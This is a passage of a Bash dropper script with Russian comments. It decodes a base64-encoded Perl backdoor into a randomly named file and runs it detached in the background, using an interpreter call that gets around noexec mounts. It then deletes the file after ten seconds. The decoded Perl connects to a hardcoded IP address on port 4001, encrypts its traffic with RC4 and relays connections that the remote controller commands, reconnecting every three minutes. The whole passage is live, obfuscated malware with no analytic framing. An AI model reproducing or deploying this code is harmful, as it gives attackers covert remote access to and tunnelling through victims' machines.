lzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_a9e161bd() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODQnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_cf1ccd4a() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" 